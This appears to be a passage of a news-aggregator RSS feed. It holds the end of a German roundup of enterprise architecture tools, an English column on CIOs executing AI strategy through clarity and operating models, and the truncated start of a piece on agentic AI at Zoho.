<p class="wp-block-paragraph"><strong><a href="https://www.avolutionsoftware.com/enterprise-architecture/" title="Avolution Abacus" target="_blank" rel="noopener">Avolution Abacus</a></strong></p>



<p class="wp-block-paragraph">Dieses Tool erfasst die Breite und den Umfang der Unternehmensarchitektur mit Hilfe eines auf Diagrammen basierenden Dashboards. Die Integration mit gängigen Tools wie SharePoint, <a href="https://www.computerwoche.de/k/excel,3461" target="_blank" class="idgGlossaryLink">Excel</a>, Visio, Google Sheets, Technopedia oder ServiceNow vereinfacht die Nutzung. Abacus wurde inzwischen auch um einen Machine-Learning-Layer ergänzt, der es Anwendern ermöglicht, ein Modell zu trainieren, das ihnen beispielsweise hilft zu erkennen, wer im Unternehmen für welches System verantwortlich ist.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>die IT für das gesamte Unternehmen “öffnen”, um ein allgemeines Verständnis der Datenflüsse zu erzeugen;</p></li>



<li><p>umfassendes Enterprise Modeling, um eine Roadmap für künftige Entwicklungen zu erstellen;</p></li>



<li><p>Business-Metriken tracken, die mit der Unternehmens-Performance zusammenhängen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.boc-group.com/de/adoit/" title="BOC Group ADOIT" target="_blank" rel="noopener">BOC Group ADOIT</a></strong></p>



<p class="wp-block-paragraph">ADOIT soll Teams dabei unterstützen, Ressourcen zu verwalten, Bedarfe vorherzusagen und Assets zu tracken. Dazu mappt das Tool jedes System oder Softwarepaket mit einem Objekt. Die Datenflüsse zwischen den Systemen werden in Beziehungen umgewandelt, die von diesen Objekten mithilfe eines anpassbaren Metamodells erfasst werden. Geschäftsprozesse können auf ähnliche Weise über ein gut integriertes Begleitprodukt namens ADONIS modelliert werden. ADOIT ist Web-basiert und lässt sich auch mit Tools wie Atlassian Confluence integrieren, um die Datenerfassung und -entwicklung zu beschleunigen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein unternehmensweites Modell erstellen, das bei sämtlichen Teammitgliedern ein Verständnis über den Stack schafft – und wie man diesen verbessern kann;</p></li>



<li><p>vollständiger Zugriff auf EA-Daten über eine Mobile-Anwendung;</p></li>



<li><p>bei Fusionen und Übernahmen den Tech-Bereich durch genaues Asset-Mapping orchestrieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Mega Hopex" href="https://www.mega.com/hopex-platform" target="_blank" rel="noopener">Bizzdesign Hopex</a></strong></p>



<p class="wp-block-paragraph">Nach der Übernahme von Mega International zählt die Hopex-Plattform zum Portfolio von Bizzdesign. Sie soll dabei unterstützen, Unternehmensanwendungen zu modellieren und dabei ein Verständnis der von ihnen unterstützten Geschäfts-Workflows schaffen. Dabei liegt ein Schwerpunkt auf den Bereichen Data Governance und Risikomanagement. Hopex basiert auf Microsoft <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2732704/microsoft-azure-mit-der-deutschen-cloud-zu-neuen-geldquellen.html" target="_blank">Azure</a> und stützt sich auf eine Reihe offener Standards wie GraphQL und REST Queries, um Informationen aus Komponentensystemen zu sammeln. Das Reporting ist mit den Office-Tools von Microsoft sowie mit grafischen Lösungen wie Tableau und Qlik integriert.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>datengestützte Erkenntnisse herbeiführen, um Cloud- und Anwendungsbereitstellung zu steuern;</p></li>



<li><p>akkurate Nutzungsmodelle erstellen, um Architekturanforderungen zu verstehen;</p></li>



<li><p>eine Bedarfsschätzung mit Umfragen und anderen Tools vornehmen, um für die Zukunft zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://bizzdesign.com/transformation-suite/horizzon" target="_blank" rel="noreferrer noopener">Bizzdesign Horizzon</a></strong></p>



<p class="wp-block-paragraph">Das Tool dient dazu, Business Workflows und den zugrundeliegenden Tech-Stack zu modellieren. Dazu bietet Horizzon ein Graph-basiertes Modell, das Daten von sämtlichen Stakeholdern einsammelt und diese an eine Analytics-Engine weitergibt. Im Ergebnis entstehen Diagramme, die den aktuellen Systemzustand widerspiegeln. Wichtige Schwerpunkte dieses Tools sind <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2777492/was-sie-ueber-change-management-wissen-muessen.html" target="_blank">Change Management</a> und Zukunftsplanung: Horizzon ist nicht zuletzt dafür konzipiert worden, die Risiken eines Redesigns zu minimieren. Das Toolset unterstützt die wichtigsten Frameworks ArchiMate, TOGAF und BPMN. Neben Mega hat Bizzdesign <a href="https://bizzdesign.com/press-releases/bizzdesign-adds-alfabet-business-following-successful-closing-mega-international" target="_blank" rel="noreferrer noopener">im Januar 2025</a> auch den EA-Geschäftsbereich der Software AG – Alfabet – übernommen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Vorhersage zukünftiger Anforderungen durch Predictive Modeling;</p></li>



<li><p>Orchestrieren von Workflows auf der Basis der technischen und der Business-Architektur;</p></li>



<li><p>Antizipieren von Risiken sowie Security- und Governance-Problemen durch die Modellierung von Datensicherheitsanforderungen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.capstera.com/" target="_blank" rel="noreferrer noopener">Capstera</a></strong></p>



<p class="wp-block-paragraph">Das Tool von Capstera fokussiert darauf, die Business Architecture selbst abzubilden. Value und Process Maps helfen dabei, die Rollen der verschiedenen Unternehmensbereiche zu definieren und nachzuverfolgen. Dabei können im laufenden Prozess Verknüpfungen mit den zugrundeliegenden Softwarprodukten und Tools hinzugefügt werden.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Reports erstellen, die sich erst einmal mit der Business-Architektur selbst beschäftigen;</p></li>



<li><p>Beziehungen zwischen Menschen, Abteilungen und Rollen analysieren;</p></li>



<li><p>die langfristige strategische Planung vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.bee360.com/de/" title="Clausmark Bee360" target="_blank" rel="noopener">Clausmark Bee360</a></strong></p>



<p class="wp-block-paragraph">Teammitglieder, die Clausmarks Flaggschiffprodukt Bee360 (früher Bee4IT) verwenden, wollen eine einfache “Single Source of Truth” über die Workflows im Unternehmen. Ziel ist es, verschiedenen betrieblichen Rollen intelligentere Entscheidungen zu ermöglichen. Das Modul Bee360 FM (Finanzmanagement) bietet etwa die Möglichkeit, Kosten nachzuvollziehen und zuzuordnen. Die Anwender können verschiedene solcher Module miteinander verknüpfen, um EAM, Finanzmanagement, Portfolio Management und Agile Planning nahtlos zu integrieren – bei maximaler Transparenz. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>C-Suite-Ebene befähigen, Projekte zu managen und Assets zuzuweisen;</p></li>



<li><p>präzise digitale Zwillinge entwickeln, um ein Verständnis über Datenflüsse zu schaffen und künftige Erweiterungen zu planen;</p></li>



<li><p>integrierte Wissensdatenbank aufbauen, um alle digitalen Workflows zu tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.enterprise-architecture.com/" title="EAS" target="_blank" rel="noopener">EAS</a></strong></p>



<p class="wp-block-paragraph">Das Essential-Paket von EAS (Enterprise Architecture Solutions) nahm als <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Open-Source</a>-Projekt seinen Anfang und hat sich inzwischen zu einer kommerziell verfügbaren Cloud-Lösung weiterentwickelt. Das Tool erstellt ein Metamodell, das die Interaktionen zwischen Systemen und Geschäftsprozessen beschreibt. Ebenfalls enthalten sind Pakete, um gängige Business Workflows wie Datenmanagement oder DSGVO-Compliance zu tracken.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>den technischen Reifegrad der eigenen Architektur evaluieren;</p></li>



<li><p>Sicherheit und Governance durch besseres Asset Tracking optimieren;</p></li>



<li><p>wachsende Systemkomplexität kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Orbus Software iServer" href="https://www.orbussoftware.com/" target="_blank" rel="noopener">OrbusInfinity</a></strong></p>



<p class="wp-block-paragraph">Orbus Software hat Anfang 2025 die Akquisition seines Konkurrenten Capsifi <a href="https://www.orbussoftware.com/landing-pages/events/webinars/unlocking-the-future-orbus-acquires-capsifi-a-new-era-of-innovation-partnership-apac" target="_blank" rel="noreferrer noopener">abgeschlossen</a>. Der Anbieter stellt mit OrbusInfinity eine Enterprise-Transformation-Plattform auf KI-Basis zur Verfügung,  die schnellere, bessere Entscheidungen, Kosteinesparungen und Risikominimierung verspricht. Architecture-Teams sollen mit Hifle von OrbusInfinity mit einer Vielzahl von Stakeholdern interagieren können, um eine “digitale Blaupause” ihres Unternehmens zu generieren, die eine einheitliche Sicht auf das aktuelle und künftige Geschäft realisieren soll. Diverse Drittanbieter-Tools lassen sich außerdem mit der Plattform <a href="https://www.orbussoftware.com/product/integrations" target="_blank" rel="noreferrer noopener">integrieren</a>, darunter etwa von Microsoft, Flexera, ManageEngine oder ServiceNow. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Stakeholder-Management;</p></li>



<li><p>Enterprise-Landschaften visualisieren;</p></li>



<li><p>Entscheidungsfindung und Datenanalyse automatisieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.planview.com/de/" title="Planview Enterprise One" target="_blank" rel="noopener">Planview Enterprise One</a></strong></p>



<p class="wp-block-paragraph">Planview bietet eine ganze Reihe von Produkten, mit denen Unternehmen Teamwork, Prozesse und die Enterprise Architecture nachvollziehen können. Die Enterprise Tools sind in drei Kategorien unterteilt: strategisches Portfolio-Management, Produktportfolio-Management und Projektportfolio-Management. Im Zusammenspiel entstehen hardware- und Software-übergreifende Layer, die rollenbasierte Perspektiven für Führungskräfte und Teammitglieder eröffnen. Das Toolset integriert mit gängigen Ticket-Tracking-Systemen wie Jira, um Workflow-Analysen und Reports zu erstellen. Inzwischen hat Planview nach einer Übernahme neue Tools in sein Portfolio integriert, die früher unter den Namen Daptiv, Barometer und Projectplace bekannt waren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>eine langfristige, strategische Vision für die Architekturentwicklung aufbauen;</p></li>



<li><p>Entwicklungsarbeit auf Projektebene tracken und in eine beliebige Strategie integrieren;</p></li>



<li><p>mit Fokus auf die Customer Experience und die Produktstruktur den Change vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.qualiware.com/" title="QualiWare Enterprise Architecture" target="_blank" rel="noopener">QualiWare Enterprise Architecture</a></strong></p>



<p class="wp-block-paragraph">Das Enterprise Architecture Tool von QualiWare ist Teil einer größeren Sammlung von Modellierungswerkzeugen, die darauf abzielt, sämtliche Geschäftsprozesse zu erfassen. Beispielsweise ist es möglich, einen digitalen Zwillinge zu bauen, mit dem sich Customer Journeys nachvollziehen lassen. Qualiware hat diverse KI-Algorithmen integriert, um Dokumentation und Process Discovery zu optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein kollaboratives Ökosystem für Business Manager aufbauen, das ein Verständnis von der Enterprise Architecture vermittelt;</p></li>



<li><p>architektonische Designelemente erfassen, um ein Wissens-Ökosystem rund um den Stack aufzubauen;</p></li>



<li><p>eine breite Beteiligung in Sachen Dokumentationserstellung und -überprüfung fördern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.erwin.com/de-de/products/erwin-evolve/" title="Quest Erwin Evolve" target="_blank" rel="noopener">Quest Erwin Evolve</a></strong></p>



<p class="wp-block-paragraph">Das Erwin Evolve Tool von Quest hat sich von einem Datenmodellierungs-Tool zu einem System für Enterprise-Architecture- und Geschäftsprozess-Modellierung weiterentwickelt. Um die Komplexität moderner, ineinandergreifender Softwaresysteme und der von ihnen gemanagten Geschäftsprozesse zu durchdringen, können Anwender auf benutzerdefinierte Datenstrukturen zurückgreifen. Das Web-Tool erstellt Modelle, rollenbasierte Diagramme und andere Visualisierungen, die in allgemein zugängliche Dashboards einfließen. Zum Paket gehört ein KI-basiertes Modellierungs-Tool, das Whiteboard-Skizzen integrieren kann.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>einen digitalen Zwilling für die strategische Modellierung der Enterprise Data Architecture erstellen;</p></li>



<li><p>Customer Journeys verstehen;</p></li>



<li><p>Services und Systeme mit Application Portfolio Management tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="LeanIX Enterprise Architecture Suite" href="https://www.leanix.net/de/produkte/enterprise-architecture-management" target="_blank" rel="noopener">SAP LeanIX Enterprise Architecture Suite</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von LeanIX umfasst unter anderem Enterprise Architecture Management und andere Bereiche, die für Aufgaben wie <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/cloud-computing,3454" target="_blank">SaaS</a>– und Value-Stream-Management wichtig sind – etwa um Cloud-Deployments und darauf laufende Services zu tracken. Die Daten die dabei über die IT-Infrastruktur gesammelt werden, fließen in ein grafisches Dashboard ein. Das Tool ist eng mit wichtigen Cloud-Workflow-Tools wie Confluence, Jira, Signavio und Lucidchart integriert. Das ist für Teams von Vorteil, die diese Tools bereits nutzen, um ihre Entwicklungsstrategien zu planen und umzusetzen. Seit November 2023 <a href="https://www.leanix.net/de/unternehmen/pressemeldungen/leanix-gehoert-jetzt-zu-sap">ist LeanIX Teil von SAP</a>.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Anwendungsmodernisierung und Cloud-Migration managen;</p></li>



<li><p>Obsoleszenz von Software-Services evaluieren;</p></li>



<li><p>Kosten kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.servicenow.com/de/" title="ServiceNow" target="_blank" rel="noopener">ServiceNow</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von ServiceNow lässt sich auf verschiedene Architekturtypen herunterbrechen, darunter Assets, <a href="https://www.computerwoche.de/article/2785626/wie-devops-die-it-beschleunigen.html" target="_blank" class="idgGlossaryLink">DevOps</a>, Security und Service. Die Tools katalogisieren die unterschiedlichen Hardware- und Softwareplattformen, um Workflows und Datenflüsse im Unternehmen abzubilden und zu verstehen. Ausführliche Reportings und detaillierte Dashboards ermöglichen Analysen, auf deren Grundlage Risiken minimiert und die Ausfallsicherheit der Systeme erhöht werden können.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Tracken von Assets, Services und Systemen, die das Unternehmen ausmachen;</p></li>



<li><p>Governance-Themen, Risikobegrenzung, IT-Management und Security Operations werden in einer Plattform zusammengeführt;</p></li>



<li><p>durch die Integration von CRM-Tools lassen sich auch kundenorientierte Services managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://sparxsystems.com/products/ea/" title="Sparx Systems" target="_blank" rel="noopener">Sparx Systems</a></strong></p>



<p class="wp-block-paragraph">Um Teams und Projekte verschiedener Größe und Komplexität zu unterstützen, hat Sparx vier Versionen seines EA-Tools entwickelt. Allen gemeinsam ist eine UML-basierte Modellierung, mit der sich die Komponenten komplexer Systeme tracken lassen. Eine Simulations-Engine ermöglicht “War Gaming” und vermittelt ein Verständnis darüber, wie sich Fehler ausbreiten und kaskadieren können. Sparx stellt zudem eine Vielzahl von vorgefertigten Design Patterns bereit, um Teams bei der Modellierung zu unterstützen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Nachfrage- und Lastveränderungen zur Prognose künftiger Anforderungen simulieren;</p></li>



<li><p>(potenzielle) Probleme durch eine Verbindungs-Matrix im Auge behalten;</p></li>



<li><p>Dokumentation erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.teamblue.unicomsi.com/products/system-architect/" title="Unicom System Architect" target="_blank" rel="noopener">Unicom System Architect</a></strong></p>



<p class="wp-block-paragraph">System Architect ist eines der Angebote aus Unicoms Team Blue. Es handelt sich um ein Tool, das ein Metamodell verwendet, um automatisiert so viele Daten wie möglich über die laufenden Systeme zu sammeln – manchmal auch durch ein Reverse Engineering von Datenflüssen. Dieses systemweite Datenmodell kann über benutzerdefinierte Dashboards Teammitgliedern aller Rollen zugänglich gemacht werden. Ein weiteres erwähnenswertes Feature: Die Ressourcenzuweisung lässt sich mit Hilfe von Simulationen optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Was-wäre-wenn-Fragen zum Architekturmodell stellen;</p></li>



<li><p>ein Metamodell von Daten und Systemen aufbauen;</p></li>



<li><p>Migrations- und Transformationspläne erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.valueblue.com/bluedolphin" title="ValueBlue BlueDolphin" target="_blank" rel="noopener">ValueBlue BlueDolphin</a></strong></p>



<p class="wp-block-paragraph">Dieses EA-Tool sammelt Daten auf dreierlei Art:</p>



<ol class="wp-block-list">
<li><p>Es importiert Basisdaten auf der Grundlage standardgesteuerter Automatisierung (ITSM, SAM).</p></li>



<li><p>Es arbeitet mit den Dateiformaten von Architekten und Systemdesignern – etwa ArchiMate oder BPMN.</p></li>



<li><p>Es gibt Fragebögen an andere Stakeholder heraus, die auf anpassbaren Vorlagen basieren.</p></li>
</ol>



<p class="wp-block-paragraph">Die aufbereiteten Informationen werden in einer visuellen Umgebung bereitgestellt, die Auskunft über die historische Entwicklung von Systemen gibt.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>systemweite Daten von internen und externen Stakeholdern automatisiert und formularbasiert erfassen;</p></li>



<li><p>zukunftsorientierte Reportings erzeugen, um den Change zu überwachen und voranzutreiben;</p></li>



<li><p>Kooperation und Zusammenarbeit durch offenes Data Reporting fördern.</p></li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.cio.com/article/196069/top-enterprise-architecture-tools.html" target="_blank">im Original</a> bei unserer Schwesterpublikation CIO.com erschienen. </strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



